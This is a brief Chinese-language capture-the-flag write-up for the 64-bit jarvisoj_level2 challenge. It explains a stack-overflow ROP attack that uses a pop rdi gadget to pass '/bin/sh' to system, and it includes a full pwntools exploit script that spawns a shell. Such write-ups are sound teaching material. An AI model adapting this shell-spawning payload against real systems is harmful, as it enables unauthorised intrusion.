ROP-ret2text,栈溢出

https://buuoj.cn/challenges#jarvisoj_level2_x64

jarvisoj_level2的64版本。

按照32位的思路,我们找一下system函数和“/bin/sh”即可。

system_addr = 0x00000000004004C0

binsh_str_addr = 0x0000000000600A90

这边的buf栈帧变为128了,需要改一下。其他32位中所有的占4字节的都变成8字节例如saved registers

然后,在64位里面,所谓的“形式参数”不再是存储在栈中而是存储在了rdi里面。如图中鼠标指出的所示(因为byd每次截图都截不到只能用手机拍了)

所以我们要把0x0000000000600A90传递给rdi才行。

通过ropper很轻松就能找到这行数据。并且后面还有一个ret我们刚好可以用到。

其payload构造思路也变成了:

画板

整个流程就是:先调用pop rdi,在rdi里面塞入/bin/sh的值,随后需要一个ret地址,塞入system地址之后ret指令跳转到system地址。而system会直接调用rdi里面的值,rdi已经变成/bin/sh了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
file_path = './jarvisoj_level2_x64'
context(log_level = 'debug', binary=file_path, os = 'linux')

ip='nnode5.buuoj.cn'
port=27500

# p = remote(ip,port)
p = process(file_path)
elf = ELF(file_path)

system_addr=0x00000000004004C0
system_plt = elf.plt['system']
print(system_plt)
binsh_str_addr=0x600A90
pop_rdi_ret_addr=0x4006b3
payload = b'a'*(0x88)+p64(pop_rdi_ret_addr)+p64(binsh_str_addr)+p64(system_plt)
print(payload)
p.sendafter('Input:',payload)
p.interactive()

后记:我的ubuntu似乎是有点太新了。本地打不通但是远程可以。